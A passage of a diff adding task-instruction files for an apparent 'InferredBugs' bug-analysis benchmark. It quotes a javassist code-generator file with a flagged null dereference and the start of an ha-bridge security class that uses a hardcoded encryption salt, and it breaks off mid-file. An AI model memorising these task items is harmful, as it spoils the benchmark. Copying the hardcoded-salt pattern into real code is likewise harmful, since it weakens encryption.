+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3385/instruction.md b/inferredbugs-3385/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d5378ddd2a892a762207c3462608239dafb477cf
--- /dev/null
+++ b/inferredbugs-3385/instruction.md
@@ -0,0 +1,1123 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javassist
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Javassist, a Java-bytecode translator toolkit.
+ * Copyright (C) 1999-2003 Shigeru Chiba. All Rights Reserved.
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License.  Alternatively, the contents of this file may be used under
+ * the terms of the GNU Lesser General Public License Version 2.1 or later.
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ */
+
+package javassist.compiler;
+
+import java.util.List;
+import javassist.*;
+import javassist.bytecode.*;
+import javassist.compiler.ast.*;
+
+/* Code generator methods depending on javassist.* classes.
+ */
+public class MemberCodeGen extends CodeGen {
+    protected ClassPool classPool;
+    protected CtClass   thisClass;
+    protected MethodInfo thisMethod;
+
+    protected boolean resultStatic;
+
+    public MemberCodeGen(Bytecode b, CtClass cc, ClassPool cp) {
+        super(b);
+        classPool = cp;
+        thisClass = cc;
+        thisMethod = null;
+    }
+
+    /**
+     * Records the currently compiled method.
+     */
+    public void setThisMethod(CtMethod m) {
+        thisMethod = m.getMethodInfo2();
+    }
+
+    public CtClass getThisClass() { return thisClass; }
+
+    /**
+     * Returns the JVM-internal representation of this class name.
+     */
+    protected String getThisName() {
+        return javaToJvmName(thisClass.getName());
+    }
+
+    /**
+     * Returns the JVM-internal representation of this super class name.
+     */
+    protected String getSuperName() throws CompileError {
+        return javaToJvmName(getSuperclass(thisClass).getName());
+    }
+
+    protected void insertDefaultSuperCall() throws CompileError {
+        bytecode.addAload(0);
+        bytecode.addInvokespecial(getSuperclass(thisClass), "<init>", "()V");
+    }
+
+    protected void atTryStmnt(Stmnt st) throws CompileError {
+        Stmnt body = (Stmnt)st.getLeft();
+        if (body == null)
+            return;
+
+        int start = bytecode.currentPc();
+        body.accept(this);
+        int end = bytecode.currentPc();
+        if (start == end)
+            throw new CompileError("empty try block");
+
+        bytecode.addOpcode(Opcode.GOTO);
+        int pc = bytecode.currentPc();
+        bytecode.addIndex(0);   // correct later
+
+        int var = getMaxLocals();
+        incMaxLocals(1);
+        ASTList catchList = (ASTList)st.getRight().getLeft();
+        while (catchList != null) {
+            Pair p = (Pair)catchList.head();
+            catchList = catchList.tail();
+            Declarator decl = (Declarator)p.getLeft();
+            Stmnt block = (Stmnt)p.getRight();
+
+            decl.setLocalVar(var);
+
+            CtClass type = lookupClass(decl.getClassName());
+            decl.setClassName(javaToJvmName(type.getName()));
+            bytecode.addExceptionHandler(start, end, bytecode.currentPc(),
+                                         type);
+            bytecode.growStack(1);
+            bytecode.addAstore(var);
+            if (block != null)
+                block.accept(this);
+
+            bytecode.addOpcode(Opcode.GOTO);
+            bytecode.addIndex(pc - bytecode.currentPc());
+        }
+
+        Stmnt finallyBlock = (Stmnt)st.getRight().getRight().getLeft();
+        if (finallyBlock != null)
+            throw new CompileError(
+                        "sorry, finally has not been supported yet");
+
+        bytecode.write16bit(pc, bytecode.currentPc() - pc + 1);
+        hasReturned = false;
+    }
+
+    public void atNewExpr(NewExpr expr) throws CompileError {
+        if (expr.isArray())
+            atNewArrayExpr(expr);
+        else {
+            CtClass clazz = lookupClass(expr.getClassName());
+            String cname = clazz.getName();
+            ASTList args = expr.getArguments();
+            bytecode.addNew(cname);
+            bytecode.addOpcode(DUP);
+
+            atMethodCall2(clazz, MethodInfo.nameInit, args, false, true);
+
+            exprType = CLASS;
+            arrayDim = 0;
+            className = javaToJvmName(cname);
+        }
+    }
+
+    public void atNewArrayExpr(NewExpr expr) throws CompileError {
+        if (expr.getInitializer() != null)
+            throw new CompileError("array initializer is not supported");
+
+        int type = expr.getArrayType();
+        ASTList size = expr.getArraySize();
+        ASTList classname = expr.getClassName();
+        if (size.length() > 1) {
+            atMultiNewArray(type, classname, size);
+            return;
+        }
+
+        size.head().accept(this);
+        exprType = type;
+        arrayDim = 1;
+        if (type == CLASS) {
+            className = resolveClassName(classname);
+            bytecode.addAnewarray(jvmToJavaName(className));
+        }
+        else {
+            className = null;
+            int atype = 0;
+            switch (type) {
+            case BOOLEAN :
+                atype = T_BOOLEAN;
+                break;
+            case CHAR :
+                atype = T_CHAR;
+                break;
+            case FLOAT :
+                atype = T_FLOAT;
+                break;
+            case DOUBLE :
+                atype = T_DOUBLE;
+                break;
+            case BYTE :
+                atype = T_BYTE;
+                break;
+            case SHORT :
+                atype = T_SHORT;
+                break;
+            case INT :
+                atype = T_INT;
+                break;
+            case LONG :
+                atype = T_LONG;
+                break;
+            default :
+                badNewExpr();
+                break;
+            }
+
+            bytecode.addOpcode(NEWARRAY);
+            bytecode.add(atype);
+        }
+    }
+
+    private static void badNewExpr() throws CompileError {
+        throw new CompileError("bad new expression");
+    }
+
+    protected void atMultiNewArray(int type, ASTList classname, ASTList size)
+        throws CompileError
+    {
+        int count, dim;
+        dim = size.length();
+        for (count = 0; size != null; size = size.tail()) {
+            ASTree s = size.head();
+            if (s == null)
+                break;          // int[][][] a = new int[3][4][];
+
+            ++count;
+            s.accept(this);
+            if (exprType != INT)
+                throw new CompileError("bad type for array size");
+        }
+
+        String desc;
+        exprType = type;
+        arrayDim = dim;
+        if (type == CLASS) {
+            className = resolveClassName(classname);
+            desc = toJvmArrayName(className, dim);
+        }
+        else
+            desc = toJvmTypeName(type, dim);
+
+        bytecode.addMultiNewarray(desc, count);
+    }
+
+    protected void atMethodCall(Expr expr) throws CompileError {
+        String mname = null;
+        CtClass targetClass = null;
+        ASTree method = expr.oprand1();
+        ASTList args = (ASTList)expr.oprand2();
+        boolean isStatic = false;
+        boolean isSpecial = false;
+
+        if (method instanceof Member) {
+            mname = ((Member)method).get();
+            targetClass = thisClass;
+            if (inStaticMethod)
+                isStatic = true;            // should be static
+            else
+                bytecode.addAload(0);       // this
+        }
+        else if (method instanceof Keyword) {   // constructor
+            isSpecial = true;
+            mname = MethodInfo.nameInit;        // <init>
+            targetClass = thisClass;
+            if (inStaticMethod)
+                throw new CompileError("a constructor cannot be static");
+            else
+                bytecode.addAload(0);   // this
+
+            if (((Keyword)method).get() == SUPER)
+                targetClass = getSuperclass(targetClass);
+        }
+        else if (method instanceof Expr) {
+            Expr e = (Expr)method;
+            mname = ((Symbol)e.oprand2()).get();
+            int op = e.getOperator();
+            if (op == MEMBER) {                 // static method
+                targetClass = lookupClass((ASTList)e.oprand1());
+                isStatic = true;
+            }
+            else if (op == '.') {
+                ASTree target = e.oprand1();
+                if (target instanceof Keyword)
+                    if (((Keyword)target).get() == SUPER)
+                        isSpecial = true;
+
+                try {
+                    target.accept(this);
+                }
+                catch (NoFieldException nfe) {
+                    if (nfe.getExpr() != target)
+                        throw nfe;
+
+                    // it should be a static method.
+                    exprType = CLASS;
+                    arrayDim = 0;
+                    className = nfe.getField(); // JVM-internal
+                    isStatic = true;
+                }
+
+                if (arrayDim > 0)
+                    targetClass = lookupClass2(javaLangObject);
+                else if (exprType == CLASS /* && arrayDim == 0 */)
+                    targetClass = lookupClass(className);
+                else
+                    badMethod();
+            }
+            else
+                badMethod();
+        }
+        else
+            fatal();
+
+        atMethodCall2(targetClass, mname, args, isStatic, isSpecial);
+    }
+
+    private static void badMethod() throws CompileError {
+        throw new CompileError("bad method");
+    }
+
+    private static CtClass getSuperclass(CtClass c) throws CompileError {
+        try {
+            return c.getSuperclass();
+        }
+        catch (NotFoundException e) {
+            throw new CompileError("cannot find the super class of "
+                                   + c.getName());
+        }
+    }
+
+    public void atMethodCall2(CtClass targetClass, String mname,
+                        ASTList args, boolean isStatic, boolean isSpecial)
+        throws CompileError
+    {
+        int nargs = atMethodArgsLength(args);
+        int[] types = new int[nargs];
+        int[] dims = new int[nargs];
+        String[] cnames = new String[nargs];
+
+        int stack = bytecode.getStackDepth();
+
+        atMethodArgs(args, types, dims, cnames);
+
+        // used by invokeinterface
+        int count = bytecode.getStackDepth() - stack + 1;
+
+        Object[] found = lookupMethod(targetClass, thisMethod, mname,
+                                      types, dims, cnames, false);
+        if (found == null) {
+            String msg;
+            if (mname.equals(MethodInfo.nameInit))
+                msg = "constructor not found";
+            else
+                msg = "Method " + mname + " not found in "
+                    + targetClass.getName();
+
+            throw new CompileError(msg);
+        }
+
+        CtClass declClass = (CtClass)found[0];
+        MethodInfo minfo = (MethodInfo)found[1];
+        String desc = minfo.getDescriptor();
+        int acc = minfo.getAccessFlags();
+
+        if (mname.equals(MethodInfo.nameInit)) {
+            isSpecial = true;
+            if (declClass != targetClass)
+                throw new CompileError("no such a constructor");
+        }
+        else if ((acc & AccessFlag.PRIVATE) != 0) {
+            isSpecial = true;
+            if (declClass != targetClass)
+                throw new CompileError("Method " + mname + "is private");
+        }
+
+        boolean popTarget = false;
+        if ((acc & AccessFlag.STATIC) != 0) {
+            if (!isStatic) {
+                /* this method is static but the target object is
+                   on stack.  It must be popped out.
+                */
+                isStatic = true;
+                popTarget = true;
+            }
+
+            bytecode.addInvokestatic(declClass, mname, desc);
+        }
+        else if (isSpecial)
+            bytecode.addInvokespecial(declClass, mname, desc);
+        else if (declClass.isInterface())
+            bytecode.addInvokeinterface(declClass, mname, desc, count);
+        else
+            if (isStatic)
+                throw new CompileError(mname + " is not static");
+            else
+                bytecode.addInvokevirtual(declClass, mname, desc);
+
+        setReturnType(desc, isStatic, popTarget);
+    }
+
+    public int atMethodArgsLength(ASTList args) {
+        return ASTList.length(args);
+    }
+
+    public void atMethodArgs(ASTList args, int[] types, int[] dims,
+                             String[] cnames) throws CompileError {
+        int i = 0;
+        while (args != null) {
+            ASTree a = args.head();
+            a.accept(this);
+            types[i] = exprType;
+            dims[i] = arrayDim;
+            cnames[i] = className;
+            ++i;
+            args = args.tail();
+        }
+    }
+
+    private void setReturnType(String desc, boolean isStatic,
+                               boolean popTarget)
+        throws CompileError
+    {
+        int i = desc.indexOf(')');
+        if (i < 0)
+            badMethod();
+
+        char c = desc.charAt(++i);
+        int dim = 0;
+        while (c == '[') {
+            ++dim;
+            c = desc.charAt(++i);
+        }
+
+        arrayDim = dim;
+        if (c == 'L') {
+            int j = desc.indexOf(';', i + 1);
+            if (j < 0)
+                badMethod();
+
+            exprType = CLASS;
+            className = desc.substring(i + 1, j);
+        }
+        else {
+            exprType = descToType(c);
+            className = null;
+        }
+
+        int etype = exprType;
+        if (isStatic) {
+            if (popTarget) {
+                if (is2word(etype, dim)) {
+                    bytecode.addOpcode(DUP2_X1);
+                    bytecode.addOpcode(POP2);
+                    bytecode.addOpcode(POP);
+                }
+                else if (etype == VOID)
+                    bytecode.addOpcode(POP);
+                else {
+                    bytecode.addOpcode(SWAP);
+                    bytecode.addOpcode(POP);
+                }
+            }
+        }
+    }
+
+    private Object[] lookupMethod(CtClass clazz, MethodInfo current,
+                                  String methodName,
+                                  int[] argTypes, int[] argDims,
+                                  String[] argClassNames, boolean onlyExact)
+        throws CompileError
+    {
+        Object[] maybe = null;
+
+        if (current != null)
+            if (current.getName().equals(methodName)) {
+                int res = compareSignature(current.getDescriptor(),
+                                           argTypes, argDims, argClassNames);
+                Object[] r = new Object[] { clazz, current };
+                if (res == YES)
+                    return r;
+                else if (res == MAYBE && maybe == null)
+                    maybe = r;
+            }
+
+        List list = clazz.getClassFile2().getMethods();
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            if (minfo.getName().equals(methodName)) {
+                int res = compareSignature(minfo.getDescriptor(),
+                                           argTypes, argDims, argClassNames);
+                Object[] r = new Object[] { clazz, minfo };
+                if (res == YES)
+                    return r;
+                else if (res == MAYBE && maybe == null)
+                    maybe = r;
+            }
+        }
+
+        try {
+            CtClass pclazz = clazz.getSuperclass();
+            if (pclazz != null) {
+                Object[] r = lookupMethod(pclazz, null, methodName, argTypes,
+                                          argDims, argClassNames,
+                                          (onlyExact || maybe != null));
+                if (r != null)
+                    return r;
+            }
+        }
+        catch (NotFoundException e) {}
+
+        /* -- not necessary to search implemented interfaces.
+        try {
+            CtClass[] ifs = clazz.getInterfaces();
+            int size = ifs.length;
+            for (int i = 0; i < size; ++i) {
+                Object[] r = lookupMethod(ifs[i], methodName, argTypes,
+                                          argDims, argClassNames);
+                if (r != null)
+                    return r;
+            }
+        }
+        catch (NotFoundException e) {}
+        */
+
+        if (onlyExact)
+            return null;
+        else
+            return maybe;
+    }
+
+    private static final int YES = 2;
+    private static final int MAYBE = 1;
+    private static final int NO = 0;
+
+    /*
+     * Returns YES if actual parameter types matches the given signature.
+     *
+     * argTypes, argDims, and argClassNames represent actual parameters.
+     *
+     * This method does not correctly implement the Java method dispatch
+     * algorithm.
+     */
+    private int compareSignature(String desc, int[] argTypes,
+                                 int[] argDims, String[] argClassNames)
+        throws CompileError
+    {
+        int result = YES;
+        int i = 1;
+        int nArgs = argTypes.length;
+        if (nArgs != Descriptor.numOfParameters(desc))
+            return NO;
+
+        int len = desc.length();
+        for (int n = 0; i < len; ++n) {
+            char c = desc.charAt(i++);
+            if (c == ')')
+                return (n == nArgs ? result : NO);
+            else if (n >= nArgs)
+                return NO;
+
+            int dim = 0;
+            while (c == '[') {
+                ++dim;
+                c = desc.charAt(i++);
+            }
+
+            if (argTypes[n] == NULL) {
+                if (dim == 0 && c != 'L')
+                    return NO;
+            }
+            else if (argDims[n] != dim) {
+                if (!(dim == 0 && c == 'L'
+                      && desc.startsWith("java/lang/Object;", i)))
+                    return NO;
+
+                // if the thread reaches here, c must be 'L'.
+                i = desc.indexOf(';', i) + 1;
+                result = MAYBE;
+                if (i <= 0)
+                    return NO;  // invalid descriptor?
+            }
+            else if (c == 'L') {        // not compare
+                int j = desc.indexOf(';', i);
+                if (j < 0 || argTypes[n] != CLASS)
+                    return NO;
+
+                String cname = desc.substring(i, j);
+                if (!cname.equals(argClassNames[n])) {
+                    CtClass clazz = lookupClass(argClassNames[n]);
+                    try {
+                        if (clazz.subtypeOf(lookupClass(cname)))
+                            result = MAYBE;
+                        else
+                            return NO;
+                    }
+                    catch (NotFoundException e) {
+                        result = MAYBE; // should be NO?
+                    }
+                }
+
+                i = j + 1;
+            }
+            else {
+                int t = descToType(c);
+                int at = argTypes[n];
+                if (t != at)
+                    if (t == INT
+                        && (at == SHORT || at == BYTE || at == CHAR))
+                        result = MAYBE;
+                    else
+                        return NO;
+            }
+        }
+
+        return NO;
+    }
+
+    protected static int descToType(char c) throws CompileError {
+        switch (c) {
+        case 'Z' :
+            return BOOLEAN;
+        case 'C' :
+            return CHAR;
+        case 'B' :
+            return  BYTE;
+        case 'S' :
+            return SHORT;
+        case 'I' :
+            return INT;
+        case 'J' :
+            return LONG;
+        case 'F' :
+            return FLOAT;
+        case 'D' :
+            return DOUBLE;
+        case 'V' :
+            return VOID;
+        case 'L' :
+        case '[' :
+            return CLASS;
+        default :
+            fatal();
+            return VOID;
+        }
+    }
+
+    protected void atFieldAssign(Expr expr, int op, ASTree left,
+                        ASTree right, boolean doDup) throws CompileError
+    {
+        CtField f = fieldAccess(left);
+        boolean is_static = resultStatic;
+        if (op != '=' && !is_static)
+            bytecode.addOpcode(DUP);
+
+        int fi = atFieldRead(f, is_static, op == '=');
+        int fType = exprType;
+        int fDim = arrayDim;
+        String cname = className;
+
+        atAssignCore(expr, op, right, fType, fDim, cname);
+
+        boolean is2w = is2word(fType, fDim);
+        if (doDup) {
+            int dup_code;
+            if (is_static)
+                dup_code = (is2w ? DUP2 : DUP);
+            else
+                dup_code = (is2w ? DUP2_X1 : DUP_X1);
+
+            bytecode.addOpcode(dup_code);
+        }
+
+        if (is_static) {
+            bytecode.add(PUTSTATIC);
+            bytecode.growStack(is2w ? -2 : -1);
+        }
+        else {
+            bytecode.add(PUTFIELD);
+            bytecode.growStack(is2w ? -3 : -2);
+        }
+
+        bytecode.addIndex(fi);
+        exprType = fType;
+        arrayDim = fDim;
+        className = cname;
+    }
+
+    /* overwritten in JvstCodeGen.
+     */
+    public void atMember(Member mem) throws CompileError {
+        atFieldRead(mem);
+    }
+
+    protected void atFieldRead(ASTree expr) throws CompileError
+    {
+        CtField f = fieldAccess(expr);
+        boolean is_static = resultStatic;
+        atFieldRead(f, is_static, false);
+    }
+
+    private int atFieldRead(CtField f, boolean isStatic, boolean noRead)
+        throws CompileError
+    {
+        FieldInfo finfo = f.getFieldInfo2();
+        String type = finfo.getDescriptor();
+
+        int fi = addFieldrefInfo(f, finfo, type);
+
+        int i = 0;
+        int dim = 0;
+        char c = type.charAt(i);
+        while (c == '[') {
+            ++dim;
+            c = type.charAt(++i);
+        }
+
+        arrayDim = dim;
+        boolean is2byte = (c == 'J' || c == 'D');
+        exprType = descToType(c);
+
+        if (c == 'L')
+            className = type.substring(i + 1, type.indexOf(';', i + 1));
+        else
+            className = null;
+
+        if (noRead)
+            return fi;
+
+        if (isStatic) {
+            bytecode.add(GETSTATIC);
+            bytecode.growStack(is2byte ? 2 : 1);
+        }
+        else {
+            bytecode.add(GETFIELD);
+            bytecode.growStack(is2byte ? 1 : 0);
+        }
+
+        bytecode.addIndex(fi);
+        return fi;
+    }
+
+    protected int addFieldrefInfo(CtField f, FieldInfo finfo, String type) {
+        ConstPool cp = bytecode.getConstPool();
+        String cname = f.getDeclaringClass().getName();
+        int ci = cp.addClassInfo(cname);
+        String name = finfo.getName();
+        return cp.addFieldrefInfo(ci, name, type);
+    }
+
+    protected void atFieldPlusPlus(int token, boolean isPost,
+                                   ASTree oprand, Expr expr, boolean doDup)
+        throws CompileError
+    {
+        CtField f = fieldAccess(oprand);
+        boolean is_static = resultStatic;
+        if (!is_static)
+            bytecode.addOpcode(DUP);
+
+        int fi = atFieldRead(f, is_static, false);
+        int t = exprType;
+        boolean is2w = is2word(t, arrayDim);
+
+        int dup_code;
+        if (is_static)
+            dup_code = (is2w ? DUP2 : DUP);
+        else
+            dup_code = (is2w ? DUP2_X1 : DUP_X1);
+
+        atPlusPlusCore(dup_code, doDup, token, isPost, expr);
+
+        if (is_static) {
+            bytecode.add(PUTSTATIC);
+            bytecode.growStack(is2w ? -2 : -1);
+        }
+        else {
+            bytecode.add(PUTFIELD);
+            bytecode.growStack(is2w ? -3 : -2);
+        }
+
+        bytecode.addIndex(fi);
+    }
+
+    /* This method also returns a value in resultStatic.
+     */
+    protected CtField fieldAccess(ASTree expr) throws CompileError {
+        CtField f = null;
+        boolean is_static = false;
+        if (expr instanceof Member) {
+            String name = ((Member)expr).get();
+            try {
+                f = thisClass.getField(name);
+            }
+            catch (NotFoundException e) {
+                // EXPR might be part of a static member access?
+                throw new NoFieldException(name, expr);
+            }
+
+            is_static = Modifier.isStatic(f.getModifiers());
+            if (!is_static)
+                if (inStaticMethod)
+                    throw new CompileError(
+                                "not available in a static method: " + name);
+                else
+                    bytecode.addAload(0);       // this
+        }
+        else if (expr instanceof Expr) {
+            Expr e = (Expr)expr;
+            int op = e.getOperator();
+            if (op == MEMBER) {
+                f = lookupField((ASTList)e.oprand1(), (Symbol)e.oprand2());
+                is_static = true;
+            }
+            else if (op == '.') {
+                try {
+                    e.oprand1().accept(this);
+                    if (exprType == CLASS && arrayDim == 0)
+                        f = lookupField(className, (Symbol)e.oprand2());
+                    else
+                        badLvalue();
+
+                    is_static = Modifier.isStatic(f.getModifiers());
+                    if (is_static)
+                        bytecode.addOpcode(POP);
+                }
+                catch (NoFieldException nfe) {
+                    if (nfe.getExpr() != e.oprand1())
+                        throw nfe;
+
+                    Symbol fname = (Symbol)e.oprand2();
+                    // it should be a static field.
+                    try {
+                        f = lookupField(nfe.getField(), fname);
+                        is_static = true;
+                    }
+                    catch (CompileError ce) {
+                        // EXPR might be part of a qualified class name.
+                        throw new NoFieldException(nfe.getField() + "/"
+                                                   + fname.get(), expr);
+                    }
+                }
+            }
+            else
+                badLvalue();
+        }
+        else
+            badLvalue();
+
+        resultStatic = is_static;
+        return f;
+    }
+
+    private static void badLvalue() throws CompileError {
+        throw new CompileError("bad l-value");
+    }
+
+    public CtClass[] makeParamList(MethodDecl md) throws CompileError {
+        CtClass[] params;
+        ASTList plist = md.getParams();
+        if (plist == null)
+            params = new CtClass[0];
+        else {
+            int i = 0;
+            params = new CtClass[plist.length()];
+            while (plist != null) {
+                params[i++] = lookupClass((Declarator)plist.head());
+                plist = plist.tail();
+            }
+        }
+
+        return params;
+    }
+
+    public CtClass[] makeThrowsList(MethodDecl md) throws CompileError {
+        CtClass[] clist;
+        ASTList list = md.getThrows();
+        if (list == null)
+            return null;
+        else {
+            int i = 0;
+            clist = new CtClass[list.length()];
+            while (list != null) {
+                clist[i++] = lookupClass((ASTList)list.head());
+                list = list.tail();
+            }
+
+            return clist;
+        }
+    }
+
+    public static int getModifiers(ASTList mods) {
+        int m = 0;
+        while (mods != null) {
+            Keyword k = (Keyword)mods.head();
+            mods = mods.tail();
+            switch (k.get()) {
+            case STATIC :
+                m |= Modifier.STATIC;
+                break;
+            case FINAL :
+                m |= Modifier.FINAL;
+                break;
+            case SYNCHRONIZED :
+                m |= Modifier.SYNCHRONIZED;
+                break;
+            case ABSTRACT :
+                m |= Modifier.ABSTRACT;
+                break;
+            case PUBLIC :
+                m |= Modifier.PUBLIC;
+                break;
+            case PROTECTED :
+                m |= Modifier.PROTECTED;
+                break;
+            case PRIVATE :
+                m |= Modifier.PRIVATE;
+                break;
+            case VOLATILE :
+                m |= Modifier.VOLATILE;
+                break;
+            case TRANSIENT :
+                m |= Modifier.TRANSIENT;
+                break;
+            case STRICT :
+                m |= Modifier.STRICT;
+                break;
+            }
+        }
+
+        return m;
+    }
+
+    /* Converts a class name into a JVM-internal representation.
+     *
+     * It may also expand a simple class name to java.lang.*.
+     * For example, this converts Object into java/lang/Object.
+     */
+    protected String resolveClassName(ASTList name) throws CompileError {
+        if (name == null)
+            return null;
+        else
+            return javaToJvmName(lookupClass(name).getName());
+    }
+
+    /* Expands a simple class name to java.lang.*.
+     * For example, this converts Object into java/lang/Object.
+     */
+    protected String resolveClassName(String jvmName) throws CompileError {
+        if (jvmName == null)
+            return null;
+        else
+            return javaToJvmName(lookupClass(jvmName).getName());
+    }
+
+    protected CtClass lookupClass(Declarator decl) throws CompileError {
+        return lookupClass(decl.getType(), decl.getArrayDim(),
+                           decl.getClassName());
+    }
+
+    protected CtClass lookupClass(int type, int dim, String classname)
+        throws CompileError
+    {
+        String cname = "";
+        CtClass clazz;
+        switch (type) {
+        case CLASS :
+            clazz = lookupClass(classname);
+            if (dim > 0)
+                cname = clazz.getName();
+            else
+                return clazz;
+
+            break;
+        case BOOLEAN :
+            cname = "boolean";
+            break;
+        case CHAR :
+            cname = "char";
+            break;
+        case BYTE :
+            cname = "byte";
+            break;
+        case SHORT :
+            cname = "short";
+            break;
+        case INT :
+            cname = "int";
+            break;
+        case LONG :
+            cname = "long";
+            break;
+        case FLOAT :
+            cname = "float";
+            break;
+        case DOUBLE :
+            cname = "double";
+            break;
+        case VOID :
+            cname = "void";
+            break;
+        default :
+            fatal();
+        }
+
+        while (dim-- > 0)
+            cname += "[]";
+
+        return lookupClass2(cname);
+    }
+
+    protected CtClass lookupClass(ASTList name) throws CompileError {
+        return lookupClass2(Declarator.astToClassName(name, '.'));
+    }
+
+    protected CtClass lookupClass(String jvmName) throws CompileError {
+        return lookupClass2(jvmToJavaName(jvmName));
+    }
+
+    /**
+     * @param name      a qualified class name. e.g. java.lang.String
+     */
+    private CtClass lookupClass2(String name) throws CompileError {
+        try {
+            return classPool.get(name);
+        }
+        catch (NotFoundException e) {}
+
+        try {
+            if (name.indexOf('.') < 0)
+                return classPool.get("java.lang." + name);
+        }
+        catch (NotFoundException e) {}
+
+        throw new CompileError("no such class: " + name);
+    }
+
+    public CtField lookupField(ASTList className, Symbol fieldName)
+        throws CompileError
+    {
+        return lookupField2(Declarator.astToClassName(className, '.'),
+                            fieldName);
+    }
+
+    public CtField lookupField(String className, Symbol fieldName)
+        throws CompileError
+    {
+        return lookupField2(jvmToJavaName(className), fieldName);
+    }
+
+    /**
+     * @param name      a qualified class name. e.g. java.lang.String
+     */
+    private CtField lookupField2(String className, Symbol fieldName)
+        throws CompileError
+    {
+        CtClass cc = lookupClass(className);
+        try {
+            return cc.getField(fieldName.get());
+        }
+        catch (NotFoundException e) {}
+        throw new CompileError("no such field: " + fieldName.get());
+    }
+
+    protected static String javaToJvmName(String classname) {
+        return classname.replace('.', '/');
+    }
+
+    protected static String jvmToJavaName(String classname) {
+        return classname.replace('/', '.');
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `e.oprand2()` could be null and is dereferenced by call to `lookupField(...)` at line 789.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CtField MemberCodeGen.fieldAccess(ASTree)
+
+### Procedure Id:
+javassist.compiler.MemberCodeGen.fieldAccess(javassist.compiler.ast.ASTree):javassist.CtField.e27780bf29ea0d5a34a02f65785c1d7f
+
+### File:
+src/main/javassist/compiler/MemberCodeGen.java
+
+### Key:
+MemberCodeGen.java|fieldAccess|NULL_DEREFERENCE
+
+### Node Key:
+a4a81b8bc51aba3cd2604bb2632898af
+
+### Hash:
+6daadb99de817015b91eb0083cf43069
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3406/instruction.md b/inferredbugs-3406/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9334eca36710a93a5055234898704b94490c59ab
--- /dev/null
+++ b/inferredbugs-3406/instruction.md
@@ -0,0 +1,429 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ha-bridge
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.bwssystems.HABridge;
+
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.security.GeneralSecurityException;
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.StringTokenizer;
+import java.util.UUID;
+import java.util.Map.Entry;
+
+import javax.crypto.Cipher;
+import javax.crypto.SecretKey;
+import javax.crypto.SecretKeyFactory;
+import javax.crypto.spec.PBEKeySpec;
+import javax.crypto.spec.PBEParameterSpec;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.bwssystems.HABridge.api.hue.HueError;
+import com.bwssystems.HABridge.api.hue.HueErrorResponse;
+import com.bwssystems.HABridge.api.hue.WhitelistEntry;
+import com.google.gson.Gson;
+import com.google.gson.JsonSyntaxException;
+
+import spark.Request;
+
+public class BridgeSecurity {
+	private static final Logger log = LoggerFactory.getLogger(BridgeSecurity.class);
+	private static final String USER_SESSION_ID = "user";
+	private static final String DEPRACATED_INTERNAL_USER = "thehabridgeuser";
+	private static final String TEST_USER_TYPE = "test_ha_bridge";
+    private static final byte[] SALT = {
+            (byte) 0xde, (byte) 0x33, (byte) 0x10, (byte) 0x12,
+            (byte) 0xde, (byte) 0x33, (byte) 0x10, (byte) 0x12,
+        };
+	private char[] habridgeKey;
+	private String execGarden;
+    private BridgeSecurityDescriptor securityDescriptor;
+	private boolean settingsChanged;
+
+	public BridgeSecurity(char[] theKey, String theExecGarden) {
+		habridgeKey = theKey;
+		execGarden = theExecGarden;
+		securityDescriptor = null;
+		settingsChanged = false;
+	}
+
+	public void setSecurityData(String theData) {
+		String anError = null;
+		if(theData != null && !theData.isEmpty()) {
+			try {
+				securityDescriptor = new Gson().fromJson(decrypt(theData), BridgeSecurityDescriptor.class);
+			} catch (JsonSyntaxException e) {
+				anError = e.getMessage();
+			} catch (GeneralSecurityException e) {
+				anError = e.getMessage();
+			} catch (IOException e) {
+				anError = e.getMessage();
+			}
+			if(anError != null)
+				log.warn("Cound not get security data, using default security (none): " + anError);
+		}
+		
+		if(theData == null || anError != null) {
+			securityDescriptor = new BridgeSecurityDescriptor();
+		}
+	}
+
+	public String getSecurityDescriptorData() throws UnsupportedEncodingException, GeneralSecurityException {
+		return encrypt(new Gson().toJson(securityDescriptor));
+	}
+	
+	public boolean isUseLinkButton() {
+		return securityDescriptor.isUseLinkButton();
+	}
+
+	public String setPassword(User aUser) throws IOException {
+		String error = null;
+		if(aUser != null) {
+			error = aUser.validate();
+			if(error == null) {
+				if(securityDescriptor.getUsers() != null) {
